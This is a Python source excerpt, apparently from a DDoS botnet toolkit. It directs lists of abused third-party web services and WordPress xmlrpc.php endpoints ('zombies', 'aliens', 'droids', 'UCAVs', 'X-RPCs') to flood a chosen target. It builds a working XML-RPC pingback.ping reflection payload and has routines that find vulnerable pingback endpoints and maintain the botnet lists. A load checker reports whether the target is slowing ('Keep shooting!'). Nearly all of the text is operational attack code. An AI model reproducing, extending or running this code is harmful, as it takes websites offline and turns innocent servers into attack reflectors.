print("[Error] [AI] You are using TOR as public IP... It's not possible to NAT! -> [Aborting!]\n")
self.nat_error_flag = "ON"
return
try:
data = str(urllib.request.urlopen(self.check_ip_service1).read())
self.pub_ip = re.compile(r'(\d+\.\d+\.\d+\.\d+)').search(data).group(1)
check_ip_service = self.check_ip_service1
except:
try:
data = str(urllib.request.urlopen(self.check_ip_service2).read())
self.pub_ip = re.compile(r'">(\d+\.\d+\.\d+\.\d+)</span>').search(data).group(1)
check_ip_service = self.check_ip_service2
except:
print("[Error] [AI] Something wrong checking your public IP! -> [Exiting!]\n")
self.nat_error_flag = "ON"
return
t = urlparse(check_ip_service)
name_service = t.netloc
print(" + Public: " + self.pub_ip + " | "+name_service+"\n")
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('8.8.8.8', 0))
self.local_ip = s.getsockname()[0]
print(" + Local: " + self.local_ip + "\n")
print('='*22 + '\n')
def extract_ucavs(self):
options = self.options
try:
f = open(self.ucavs_file)
ucavs = f.readlines()
ucavs = [ ucav.replace('\n','') for ucav in ucavs ]
f.close()
if not ucavs:
print("[Info] [AI] [Control] Cannot retrieve [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
self.options.disableucavs = True
return
else:
return ucavs
except:
if os.path.exists(self.ucavs_file) == True:
print("[Info] [AI] [Control] Cannot open [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
return
else:
print("[Info] [AI] [Control] Cannot found [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
return
def discarding_ucavs(self, ucav, ucavs):
if ucav in self.discard_ucavs:
ucavs.remove(ucav)
if self.options.verbose:
print(("[Info] [AI] [Control] [UCAVs] "+str(ucav)+" is not working! -> [Discarding!]"))
self.ucavs_fail = self.ucavs_fail + 1
return ucavs
def send_ucavs(self, ucavs):
time.sleep(5)
if not self.options.disablepurge:
if not ucavs:
self.options.disableucavs = True
return
options = self.options
target = self.options.target
shuffle(ucavs)
if not self.options.disablepurge:
for ucav in ucavs:
if not ucav.startswith('http'):
self.discard_ucavs.append(ucav)
self.num_discard_ucavs = self.num_discard_ucavs + 1
ucavs = self.discarding_ucavs(ucav, ucavs)
if not self.options.disablepurge:
if not ucavs:
self.options.disableucavs = True
return
shuffle(ucavs)
for ucav in ucavs:
self.user_agent = random.choice(self.agents).strip()
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer}
if target.startswith("http://"):
target = target.replace('http://','')
elif target.startswith("https://"):
target = target.replace('https://','')
url = ucav + target
t = urlparse(ucav)
name_ucav = t.netloc
if name_ucav == "":
name_ucav = ucav
if options.verbose:
print(("[Info] [UCAVs] Sniping: " + url))
try:
if options.proxy:
self.proxy_transport(options.proxy)
if options.timeout:
ucav_timeout = options.timeout
else:
ucav_timeout = 5
if ucav_timeout < 1:
ucav_timeout = 5
req = urllib.request.Request(url, None, headers)
target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=ucav_timeout).read().decode('utf-8')
self.ucavs_hit = self.ucavs_hit + 1
except:
print("[Info] [UCAVs] " + name_ucav + " -> FAILED (cannot connect!)")
if not self.options.disablepurge:
self.discard_ucavs.append(ucav)
self.num_discard_ucavs = self.num_discard_ucavs + 1
self.ucavs_fail = self.ucavs_fail + 1
target_reply = ""
if target_reply == "":
pass
else:
if not "is down" or not "looks down" or not "No info found for host" in target_reply:
print("[Info] [UCAVs] " + name_ucav + " -> Target is ONLINE! -> [Keep shooting!]")
self.num_is_up = self.num_is_up + 1
else:
print("[Info] [UCAVs] " + name_ucav + " -> Target looks OFFLINE! -> [Checking!]")
self.num_is_down = self.num_is_down + 1
if self.options.verbose:
print("[Info] [AI] [UCAVs] "+str(name_ucav)+" is returning...")
self.extra_zombies_lock = False
def extract_median(self, num_list):
import statistics
int_num = []
for num in num_list:
num = float(num)
int_num.append(num)
return statistics.median(int_num)
def check_is_loading(self, target):
self.start = None
self.stop = None
print('\n---------')
print("\n[Info] [AI] Scanning target to check for levels on defensive shields...\n")
if target.endswith(""):
target.replace("", "/")
self.user_agent = random.choice(self.agents).strip()
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer}
try:
req = urllib.request.Request(target, None, headers)
if self.options.proxy:
self.proxy_transport(self.options.proxy)
if self.options.timeout:
try:
timeout = int(self.options.timeout)
except:
timeout = 5
else:
timeout = 5
if timeout < 1:
timeout = 5
self.start = time.time()
target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
header = urllib.request.urlopen(req, context=self.ctx).info()
self.stop = time.time()
except:
print('[Info] [AI] Our scanner cannot connect to the target this round! -> [Skipping!]\n')
return
try:
s, size_name = self.convert_size(len(target_reply))
self.loadcheck_size_list.append(s)
size = '%s %s' % (s,size_name)
except:
size = "Error!"
try:
time_required = self.stop - self.start
load = self.convert_time(time_required)
self.loadcheck_load_list.append(load)
except:
load = "Error!"
self.loadcheck_counter = self.loadcheck_counter + 1
print(' -Total tests:', self.loadcheck_counter, "\n")
if self.loadcheck_prev_size is not None and self.loadcheck_prev_load is not None:
lsm = self.extract_median(self.loadcheck_size_list)
if lsm is not None:
self.loadcheck_size_median = str(lsm) + " " + size_name
else:
self.loadcheck_size_median = None
llm = self.extract_median(self.loadcheck_load_list)
if llm is not None:
self.loadcheck_load_median = str(llm) + " seconds"
else:
self.loadcheck_load_median = None
if self.loadcheck_counter == 2:
print(' -Bytes in (first round) :', self.loadcheck_first_size)
print(' -Bytes in (this round) :', size)
if self.loadcheck_size_median is not None:
print(' -Bytes in (median) :', self.loadcheck_size_median)
print(' ----')
print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
print(' -Load time (this round) :', load, "seconds")
if self.loadcheck_load_median is not None:
print(' -Load time (median) :', self.loadcheck_load_median, "\n")
else:
print("\n")
self.loadcheck_size_max = None
self.loadcheck_size_min = None
self.loadcheck_load_max = None
self.loadcheck_load_min = None
elif self.loadcheck_counter > 2:
lsmax = max(self.loadcheck_size_list)
if lsmax is not None:
self.loadcheck_size_max = str(lsmax) + " " + size_name
else:
self.loadcheck_size_max = None
lsmin = min(self.loadcheck_size_list)
if lsmin is not None:
self.loadcheck_size_min = str(lsmin) + " " + size_name
else:
self.loadcheck_size_min = None
llmax = max(self.loadcheck_load_list)
if llmax is not None:
self.loadcheck_load_max = str(llmax) + " seconds"
else:
self.loadcheck_load_max = None
llmin = min(self.loadcheck_load_list)
if llmin is not None:
self.loadcheck_load_min = str(llmin) + " seconds"
else:
self.loadcheck_load_min = None
print(' -Bytes in (first round) :', self.loadcheck_first_size)
print(' -Bytes in (previous round) :', self.loadcheck_prev_size)
print(' -Bytes in (this round) :', size)
if self.loadcheck_size_max is not None:
print(' -Bytes in (max) :', self.loadcheck_size_max)
if self.loadcheck_size_min is not None:
print(' -Bytes in (min) :', self.loadcheck_size_min)
if self.loadcheck_size_median is not None:
print(' -Bytes in (median) :', self.loadcheck_size_median)
print(' ----')
print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
print(' -Load time (previous round):', self.loadcheck_prev_load, "seconds")
print(' -Load time (this round) :', load, "seconds")
if self.loadcheck_load_max is not None:
print(' -Load time (max) :', self.loadcheck_load_max)
if self.loadcheck_load_min is not None:
print(' -Load time (min) :', self.loadcheck_load_min)
if self.loadcheck_load_median is not None:
print(' -Load time (median) :', self.loadcheck_load_median, "\n")
else:
print("\n")
if self.loadcheck_prev_load < load:
print("[Info] [AI] [Scanner] Target is serving the content more slowly this round! ;-) -> [Keep shooting!]\n")
elif self.loadcheck_prev_load == load:
print("[Info] [AI] [Scanner] Attack is not having any effect on your target this round... -> [Keep shooting!]\n")
elif self.loadcheck_prev_load > load:
print("[Info] [AI] [Scanner] Target is loading this round faster than the previous one! -> DETECTED: [PROXY CACHE!!]\n")
else:
print(' -Bytes in (this round) :', size)
print(' -Load time (this round):', load, "seconds\n")
self.loadcheck_first_size = size
self.loadcheck_first_load = load
self.loadcheck_size_median = None
self.loadcheck_load_median = None
self.loadcheck_size_max = None
self.loadcheck_size_min = None
self.loadcheck_load_max = None
self.loadcheck_load_min = None
self.loadcheck_prev_size = size
self.loadcheck_prev_load = load
def convert_size(self, size):
if (size == 0):
return '0 B'
size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
i = int(math.floor(math.log(size,1024)))
p = math.pow(1024,i)
s = round(size/p,2)
return s, size_name[i]
def convert_time(self, time):
return '%.2f' % time
def discarding_zombies(self, zombie, zombies):
if zombie in self.discardzombies:
zombies.remove(zombie)
if self.options.verbose:
print(("[Info] [AI] [Control] [Zombies] "+str(zombie)+" is not working! -> [Discarding!]"))
return zombies
def send_zombies(self, zombies):
time.sleep(1)
if not self.options.disablepurge:
if not zombies:
self.empty_zombies = True
return
if self.options.verbose:
print("[Info] [AI] [Control] Deploying [Zombies] with 'maser-melee' weapons...")
options = self.options
target = self.options.target
shuffle(zombies)
if not self.options.disablepurge:
for zombie in zombies:
if not zombie.startswith('http'):
self.discardzombies.append(zombie)
self.num_discard_zombies = self.num_discard_zombies + 1
zombies = self.discarding_zombies(zombie, zombies)
if not self.options.disablepurge:
if not zombies:
self.empty_zombies = True
return
for zombie in zombies:
t = urlparse(zombie)
name_zombie = t.netloc
if name_zombie == "":
name_zombie = zombie
if not self.options.attackme:
print("[Info] [Zombies] Attacking from: " + name_zombie)
else:
self.mothership_hash = random.getrandbits(128)
target = "http://" + str(self.pub_ip) + ":" + self.port + "/"+ str(self.mothership_hash) + "|" + zombie
self.options.target = target
print("[Info] [Zombies] Attacking: " + str(self.pub_ip) + ":" + self.port + " -> [LAN]" + self.local_ip + ":" + self.port)
print("[Info] [Zombies] Payload: " + target)
print('='*55, "\n")
self.user_agent = random.choice(self.agents).strip()
if not options.target.startswith('http'):
if options.forcessl:
options.target = "https://" + options.target
else:
options.target = "http://" + options.target
self.attack_mode = True
try:
if options.verbose:
print("[Info] [Zombies] Sniping: " + options.target)
self.connect_zombies(zombie)
if self.options.dbstress:
self.db_flash = self.db_flash + 1
stress = self.stressing(target, zombie)
except Exception:
print("[Info] [Zombies] " + zombie + " -> FAILED (cannot connect!)")
self.total_zombies_failed_connection = self.total_zombies_failed_connection + 1
if not self.options.disablepurge:
self.discardzombies.append(zombie)
self.num_discard_zombies = self.num_discard_zombies + 1
if self.options.verbose:
print("[Info] [AI] [Zombies] "+str(name_zombie)+" is returning...")
self.attack_mode = False
def discarding_aliens(self, alien, aliens):
if alien in self.discard_aliens:
aliens.remove(alien)
if self.options.verbose:
print(("[Info] [AI] [Control] [Aliens] "+str(alien)+" is not working! -> [Discarding!]"))
self.aliens_fail = self.aliens_fail + 1
return aliens
def send_aliens(self, aliens):
time.sleep(2)
if not self.options.disablepurge:
if not aliens:
self.options.disablealiens = True
return
target = self.options.target
options = self.options
shuffle(aliens)
if not self.options.disablepurge:
for alien in aliens:
if not alien.startswith('http'):
self.discard_aliens.append(alien)
self.num_discard_aliens = self.num_discard_aliens + 1
aliens = self.discarding_aliens(alien, aliens)
if not self.options.disablepurge:
if not aliens:
self.options.disablealiens = True
return
shuffle(aliens)
for alien in aliens:
name_alien = None
if "$POST" in alien:
regex_alien = re.compile('{}(.*){}'.format(re.escape(''), re.escape(';$POST')))
pattern_alien = re.compile(regex_alien)
alien_url = re.findall(pattern_alien, alien)
regex_param = re.compile('{}(.*){}'.format(re.escape('$POST;'), re.escape('')))
pattern_param = re.compile(regex_param)
param = re.findall(pattern_param, alien)
for u in alien_url:
url = u
try:
t = urlparse(url)
except:
pass
name_alien = t.netloc
if name_alien == "":
name_alien = alien
print("[Info] [Aliens] Attacking from: " + name_alien)
for p in param:
param_target = {p : target}
param_target = urllib.parse.urlencode(param_target)
try:
if options.verbose:
print("[Info] [Aliens] Sniping: " + url + " - POST:", param_target)
if options.proxy:
self.proxy_transport(options.proxy)
if self.options.timeout:
try:
alien_timeout = int(self.options.timeout)
except:
alien_timeout = 5
else:
alien_timeout = 5
if alien_timeout < 1:
alien_timeout = 5
req = urllib.request.Request(url, param_target.encode('utf-8'))
rsp = urllib.request.urlopen(req, context=self.ctx, timeout=alien_timeout)
self.aliens_hit = self.aliens_hit + 1
except Exception:
print("[Info] [Aliens] " + name_alien + " -> FAILED (cannot connect!)")
self.aliens_fail = self.aliens_fail + 1
if not self.options.disablepurge:
self.discard_aliens.append(alien)
self.num_discard_aliens = self.num_discard_aliens + 1
else:
print(("[Info] [Aliens] "+str(alien)+" -> FAILED (invalid alien!)"))
self.aliens_fail = self.aliens_fail + 1
if not self.options.disablepurge:
self.discard_aliens.append(alien)
self.num_discard_aliens = self.num_discard_aliens + 1
if self.options.verbose:
if name_alien:
print("[Info] [AI] [Aliens] "+str(name_alien)+" is returning...")
else:
print("[Info] [AI] [Aliens] "+str(alien)+" is returning...")
if self.options.disabledroids and self.options.disablerpcs and self.options.disableucavs:
self.extra_zombies_lock = False
def extract_aliens(self):
options = self.options
try:
f = open(self.aliens_file)
aliens = f.readlines()
aliens = [ alien.replace('\n','') for alien in aliens ]
f.close()
if not aliens:
print("[Info] [AI] [Control] Cannot retrieve [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
self.options.disablealiens = True
return
else:
return aliens
except:
if os.path.exists(self.aliens_file) == True:
print("[Info] [AI] [Control] Cannot open [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
return
else:
print("[Info] [AI] [Control] Cannot found [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
return
def discarding_droids(self, droid, droids):
if droid in self.discard_droids:
droids.remove(droid)
if self.options.verbose:
print(("[Info] [AI] [Control] [Droids] "+str(droid)+" is not working! -> [Discarding!]"))
self.droids_fail = self.droids_fail + 1
return droids
def send_droids(self, droids):
time.sleep(3)
if not self.options.disablepurge:
if not droids:
self.options.disabledroids = True
return
target = self.options.target
try:
target = urllib.parse.unquote(target).decode('utf8')
except:
target = urllib.parse.unquote(target)
if target.startswith('http://'):
target = target.replace('http://', '')
if target.startswith('https://'):
target = target.replace('https://', '')
options = self.options
shuffle(droids)
if not self.options.disablepurge:
for droid in droids:
if not droid.startswith('http'):
self.discard_droids.append(droid)
self.num_discard_droids = self.num_discard_droids + 1
droids = self.discarding_droids(droid, droids)
if not self.options.disablepurge:
if not droids:
self.options.disabledroids = True
return
shuffle(droids)
for droid in droids:
name_droid = None
if "$TARGET" in droid:
url = droid.replace("$TARGET", target)
t = urlparse(url)
name_droid = t.netloc
if name_droid == "":
name_droid = droid
print("[Info] [Droids] Attacking from: " + name_droid)
self.user_agent = random.choice(self.agents).strip()
headers = {'User-Agent' : self.user_agent, 'Content-type' : "application/x-www-form-urlencoded", 'Referer' : self.referer, 'Connection' : 'keep-alive'}
try:
if options.proxy:
self.proxy_transport(options.proxy)
if self.options.timeout:
try:
droid_timeout = int(self.options.timeout)
except:
droid_timeout = 5
else:
droid_timeout = 5
if droid_timeout < 1:
droid_timeout = 5
req = urllib.request.Request(url, None, headers)
rsp = urllib.request.urlopen(req, context=self.ctx, timeout=droid_timeout)
self.droids_hit = self.droids_hit + 1
except Exception:
print("[Info] [Droids] " + name_droid + " -> FAILED (cannot connect!)")
self.droids_fail = self.droids_fail + 1
if not self.options.disablepurge:
self.discard_droids.append(droid)
self.num_discard_droids = self.num_discard_droids + 1
else:
print("[Info] [Droids] " + str(droid) + " -> FAILED (invalid droid!)")
self.droids_fail = self.droids_fail + 1
if not self.options.disablepurge:
self.discard_droids.append(droid)
self.num_discard_droids = self.num_discard_droids + 1
if self.options.verbose:
if name_droid:
print("[Info] [AI] [Droids] "+str(name_droid)+" is returning...")
else:
print("[Info] [AI] [Droids] "+str(droid)+" is returning...")
if self.options.disablerpcs and self.options.disableucavs:
self.extra_zombies_lock = False
def extract_droids(self):
options = self.options
try:
f = open(self.droids_file)
droids = f.readlines()
droids = [ droid.replace('\n','') for droid in droids ]
f.close()
if not droids:
print("[Info] [AI] [Control] Cannot retrieve [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
self.options.disabledroids = True
return
else:
return droids
except:
if os.path.exists(self.droids_file) == True:
print("[Info] [AI] [Control] Cannot open [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
return
else:
print("[Info] [AI] [Control] Cannot found [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
return
def discarding_rpcs(self, rpc, rpcs):
if rpc in self.discard_rpcs:
rpcs.remove(rpc)
if self.options.verbose:
print(("[Info] [AI] [Control] [X-RPCs] "+str(rpc)+" is not working! -> [Discarding!]"))
return rpcs
def send_rpcs(self, rpcs):
time.sleep(4)
if not self.options.disablepurge:
if not rpcs:
self.options.disablerpcs = True
return
target = self.options.target
options = self.options
def random_key(length):
key = ''
for i in range(length):
key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
return key
shuffle(rpcs)
if not self.options.disablepurge:
for rpc in rpcs:
if not rpc.startswith('http'):
if not self.options.disablepurge:
self.discard_rpcs.append(rpc)
self.num_discard_rpcs = self.num_discard_rpcs + 1
self.rpcs_fail = self.rpcs_fail + 1
rpcs = self.discarding_rpcs(rpc, rpcs)
if not self.options.disablepurge:
if not rpcs:
self.options.disablerpcs = True
return
shuffle(rpcs)
for rpc in rpcs:
t = urlparse(rpc)
name_rpc = t.netloc
if name_rpc == "":
name_rpc = rpc
print("[Info] [X-RPCs] Attacking from: " + name_rpc)
self.user_agent = random.choice(self.agents).strip()
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer}
key = random_key(8)
rpc_page = "?" + str(key)
key = random_key(6)
rpc_id = "=" + str(key)
target_place = target + rpc_page + rpc_id
if "/xmlrpc.php" in rpc:
rpc_place = rpc.replace("xmlrpc.php", "")
rpc_exploit = "<methodCall><methodName>pingback.ping</methodName><params><param><value><string>"+target_place+"</string></value></param><param><value><string>"+rpc_place+"</string></value></param></params></methodCall>"
try:
if options.proxy:
self.proxy_transport(options.proxy)
if self.options.timeout:
try:
rpc_timeout = int(self.options.timeout)
except:
rpc_timeout = 5
else:
rpc_timeout = 5
if rpc_timeout < 1:
rpc_timeout = 5
req = urllib.request.Request(rpc, rpc_exploit.encode('utf-8'), headers)
urllib.request.urlopen(req, context=self.ctx, timeout=rpc_timeout)
self.rpcs_hit = self.rpcs_hit + 1
if self.options.verbose:
print("[Info] [X-RPCs] Reply:", target_reply)
except:
print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (cannot connect!)")
self.rpcs_fail = self.rpcs_fail + 1
if not self.options.disablepurge:
self.discard_rpcs.append(rpc)
self.num_discard_rpcs = self.num_discard_rpcs + 1
else:
print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (invalid X-RPC!)")
self.rpcs_fail = self.rpcs_fail + 1
if not self.options.disablepurge:
self.discard_rpcs.append(rpc)
self.num_discard_rpcs = self.num_discard_rpcs + 1
if self.options.verbose:
print("[Info] [AI] [X-RPCs] "+str(name_rpc)+" is returning...")
if self.options.disableucavs:
self.extra_zombies_lock = False
def extract_rpcs(self):
options = self.options
try:
f = open(self.rpcs_file)
rpcs = f.readlines()
rpcs = [ rpc.replace('\r','') for rpc in rpcs ]
rpcs = [ rpc.replace('\n','') for rpc in rpcs ]
f.close()
if not rpcs:
print("[Info] [AI] [Control] Cannot retrieve [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
self.options.disablerpcs = True
return
else:
return rpcs
except:
if os.path.exists(self.rpcs_file) == True:
print("[Info] [AI] [Control] Cannot open [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
return
else:
print("[Info] [AI] [Control] Cannot found [X-RPCs] from: 'botnet/rpcs.txt' [Discarding!]")
return
def extract_ntps(self):
options = self.options
try:
f = open(self.ntps_file)
ntps = f.readlines()
ntps = [ ntp.replace('\r','') for ntp in ntps ]
ntps = [ ntp.replace('\n','') for ntp in ntps ]
f.close()
if not ntps:
print("[Info] [AI] [Control] Cannot retrieve [NTPs] from: 'botnet/ntp.txt' -> [Discarding!]")
return
else:
return ntps
except:
if os.path.exists(self.ntps_file) == True:
print("[Info] [AI] [Control] Cannot open [NTPs] from: 'botnet/ntp.txt' -> [Discarding!]")
return
else:
print("[Info] [AI] [Control] Cannot found [NTPs] from: 'botnet/ntp.txt' [Discarding!]")
return
def extract_dnss(self):
options = self.options
try:
f = open(self.dnss_file)
dnss = f.readlines()
dnss = [ dns.replace('\r','') for dns in dnss ]
dnss = [ dns.replace('\n','') for dns in dnss ]
f.close()
if not dnss:
print("[Info] [AI] [Control] Cannot retrieve [DNSs] from: 'botnet/dns.txt' -> [Discarding!]")
return
else:
return dnss
except:
if os.path.exists(self.dnss_file) == True:
print("[Info] [AI] [Control] Cannot open [DNSs] from: 'botnet/dns.txt' -> [Discarding!]")
return
else:
print("[Info] [AI] [Control] Cannot found [DNSs] from: 'botnet/dns.txt' [Discarding!]")
return
def extract_snmps(self):
options = self.options
try:
f = open(self.snmps_file)
snmps = f.readlines()
snmps = [ snmp.replace('\r','') for snmp in snmps ]
snmps = [ snmp.replace('\n','') for snmp in snmps ]
f.close()
if not snmps:
print("[Info] [AI] [Control] Cannot retrieve [SNMPs] from: 'botnet/snmp.txt' -> [Discarding!]")
return
else:
return snmps
except:
if os.path.exists(self.snmps_file) == True:
print("[Info] [AI] [Control] Cannot open [SNMPs] from: 'botnet/snmp.txt' -> [Discarding!]")
return
else:
print("[Info] [AI] [Control] Cannot found [SNMPs] from: 'botnet/snmp.txt' [Discarding!]")
return
def extract_zombies(self):
options = self.options
if self.options.test:
try:
f = open(options.test)
zombies = f.readlines()
zombies = [ zombie.replace('\n','') for zombie in zombies ]
f.close()
if not zombies:
print("\n[Error] [AI] [Control] Cannot retrieve [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
return
else:
return zombies
except:
if os.path.exists(options.test) == True:
print("\n[Error [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
return
else:
print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
return
else:
try:
f = open(self.zombies_file)
zombies = f.readlines()
zombies = [ zombie.replace('\n','') for zombie in zombies ]
f.close()
if not zombies:
print("\n[Error] [AI] You haven't [Zombies] to be extracted from: 'botnet/zombies.txt' -> [Aborting!]\n")
return
else:
return zombies
except:
if os.path.exists(self.zombies_file) == True:
print("\n[Error] [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
return
else:
print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
return
def extract_target_list(self):
options = self.options
try:
f = open(options.target_list)
targets = f.readlines()
targets = [ target.replace('\n','') for target in targets ]
f.close()
if not targets:
print("\n[Error] [AI] [Control] Cannot retrieve [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
return
else:
return targets
except:
if os.path.exists(options.target_list) == True:
print("\n[Error] [AI] [Control] Cannot found [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
return
else:
print("\n[Error] [AI] [Control] Cannot open [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
return
def update_zombies(self, zombies_ready):
options = self.options
if options.attackme:
f = open(self.zombies_file, "w")
for zombie in self.doll.real_zombies:
for x in zombie:
f.write(str(x) + os.linesep)
f.close()
if options.test or options.testall:
if not options.test:
options.test = self.zombies_file
f = open(options.test, "w")
for zombie in zombies_ready:
f.write(zombie + os.linesep)
f.close()
if options.search or options.dorks or options.autosearch or options.download or options.download_github or options.download_nodes:
f = open(self.zombies_file)
zombies_on_file = f.read().splitlines()
with open(self.zombies_file, "a") as zombie_list:
for zombie in zombies_ready:
if zombie not in zombies_on_file:
zombie_list.write(zombie + os.linesep)
if options.download or options.download_github or options.download_nodes:
self.trans_zombies = self.trans_zombies + 1
else:
self.scanned_zombies = self.scanned_zombies + 1
f.close()
def update_aliens(self, aliens_ready):
options = self.options
if options.download or options.download_github or options.download_nodes:
f = open(self.aliens_file)
aliens_on_file = f.read().splitlines()
with open(self.aliens_file, "a") as alien_list:
for alien in aliens_ready:
if alien not in aliens_on_file:
alien_list.write(alien + os.linesep)
self.trans_zombies = self.trans_zombies + 1
f.close()
def update_droids(self, droids_ready):
options = self.options
if options.download or options.download_github or options.download_nodes:
f = open(self.droids_file)
droids_on_file = f.read().splitlines()
with open(self.droids_file, "a") as droid_list:
for droid in droids_ready:
if droid not in droids_on_file:
droid_list.write(droid + os.linesep)
self.trans_zombies = self.trans_zombies + 1
f.close()
def update_ucavs(self, ucavs_ready):
options = self.options
if options.download or options.download_github or options.download_nodes:
f = open(self.ucavs_file)
ucavs_on_file = f.read().splitlines()
with open(self.ucavs_file, "a") as ucav_list:
for ucav in ucavs_ready:
if ucav not in ucavs_on_file:
ucav_list.write(ucav + os.linesep)
self.trans_zombies = self.trans_zombies + 1
f.close()
def update_rpcs(self, rpcs_ready):
options = self.options
if options.testrpc or options.testall:
f = open(self.rpcs_file, "w")
for rpc in rpcs_ready:
f.write(rpc + os.linesep)
f.close()
if options.download or options.download_github or options.download_nodes:
f = open(self.rpcs_file)
rpcs_on_file = f.read().splitlines()
with open(self.rpcs_file, "a") as rpc_list:
for rpc in rpcs_ready:
if rpc not in rpcs_on_file:
rpc_list.write(rpc + os.linesep)
self.trans_zombies = self.trans_zombies + 1
f.close()
def update_dnss(self, dnss_ready):
options = self.options
if options.download or options.download_github or options.download_nodes:
f = open(self.dnss_file)
dnss_on_file = f.read().splitlines()
with open(self.dnss_file, "a") as dns_list:
for dns in dnss_ready:
if dns not in dnss_on_file:
dns_list.write(dns + os.linesep)
self.trans_zombies = self.trans_zombies + 1
f.close()
def update_ntps(self, ntps_ready):
options = self.options
if options.download or options.download_github or options.download_nodes:
f = open(self.ntps_file)
ntps_on_file = f.read().splitlines()
with open(self.ntps_file, "a") as ntp_list:
for ntp in ntps_ready:
if ntp not in ntps_on_file:
ntp_list.write(ntp + os.linesep)
self.trans_zombies = self.trans_zombies + 1
f.close()
def update_snmps(self, snmps_ready):
options = self.options
if options.download or options.download_github or options.download_nodes:
f = open(self.snmps_file)
snmps_on_file = f.read().splitlines()
with open(self.snmps_file, "a") as snmp_list:
for snmp in snmps_ready:
if snmp not in snmps_on_file:
snmp_list.write(snmp + os.linesep)
self.trans_zombies = self.trans_zombies + 1
f.close()
def search_rpc(self, rpc_host):
options = self.options
rpc_vulnerable = False
rpc_pingback_url = False
self.user_agent = random.choice(self.agents).strip()
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer}
try:
if self.options.testall:
if options.proxy:
self.proxy_transport(options.proxy)
req = urllib.request.Request(rpc_host, None, headers)
rpc_code = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
for link in rpc_links:
if 'xmlrpc.php' in link[0] and not "rsd" in link[0]:
rpc_pingback_url = link[0]
rpc_vulnerable = True
break
else:
rpc_pingback_url = rpc_host + "/xmlrpc.php"
rpc_vulnerable = False
else:
if rpc_host.startswith("http://"):
rpc_host = rpc_host.replace("http://", "")
if rpc_host.startswith("https://"):
rpc_host = rpc_host.replace("https://", "")
rpc_host = urlparse(rpc_host)
rpc_path = rpc_host.path.replace("\r", "")
self.head = True
reply = self.connect_zombie(rpc_path)
self.head = False
if "X-Pingback" in reply:
m = re.search('X-Pingback: (.+?)\n', reply)
rpc_pingback_url = m.group(1)
rpc_vulnerable = True
else:
if options.proxy:
self.proxy_transport(options.proxy)
req_rpc = urllib.request.Request(rpc_host, None, headers)
req_rpc.get_method = lambda : 'GET'
rpc_code = urllib.request.urlopen(req_rpc, context=self.ctx).read().decode('utf-8')
rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
for link in rpc_links:
if 'xmlrpc.php' in link[0] and not "rsd" in link[0]:
rpc_pingback_url = link[0]
rpc_vulnerable = True
break
else:
rpc_pingback_url = rpc_host + "/xmlrpc.php"
rpc_vulnerable = False
except:
pass
return rpc_vulnerable, rpc_pingback_url
def testing_offline(self):
print ("\n[Info] [AI] Checking (sending HTTP HEAD requests) for [Zombies] offline...\n")
print('='*35)
zombies_online = 0
zombies_offline = 0
zombies = self.extract_zombies()
rpcs = self.extract_rpcs()
aliens = self.extract_aliens()
droids = self.extract_droids()
ucavs = self.extract_ucavs()
try:
botnet = zombies + rpcs + aliens + droids + ucavs
except:
return
discarded = []
if not botnet:
return
self.head = True
for zombie in botnet:
zombie = str(zombie)
if zombie in zombies:
zombie_type = 'Zombie'
elif zombie in rpcs:
zombie_type = 'XML-RPC'
elif zombie in aliens:
zombie_type = 'Alien'
elif zombie in droids:
zombie_type = 'Droid'
elif zombie in ucavs:
zombie_type = 'UCAV'
t = urlparse(zombie)
name_zombie = t.netloc
if name_zombie == "":
name_zombie = zombie
if zombie_type == 'Alien':
sep = ';$POST;'
zombie = zombie.split(sep, 1)[0]
try:
reply = str(self.connect_zombie(zombie))
except:
reply = None
if reply:
if reply == "200" or reply == "301" or reply == "302":
status = "ONLINE! -> [OK!]"
else:
status = "ONLINE! -> [BUT replying an INVALID HTTP CODE]"
zombies_online = zombies_online + 1
else:
status = "NOT Working!"
zombies_offline = zombies_offline + 1
print("\nName:", name_zombie)
print("Type: [", zombie_type, "]")
print("Vector:", zombie)
print("HTTP Code: [", reply, "]")
print("STATUS:", status)
print('-'*21)
if status == "NOT Working!":
if zombie not in discarded:
discarded.append(zombie)
print("\n" + '='*52)
print("\n+ Total Botnet:", len(botnet))
print("\n" + '-'*25 + "\n")
print(" - ONLINE:", zombies_online)
print(" - OFFLINE:", zombies_offline, "\n")
print('='*52 + '\n')
self.head = False
if zombies_offline > 0:
if not self.options.forceyes:
test_reply = input("[AI] Do you want to update your army? (Y/n)\n")
print('-'*25 + "\n")
else:
test_reply = "Y"
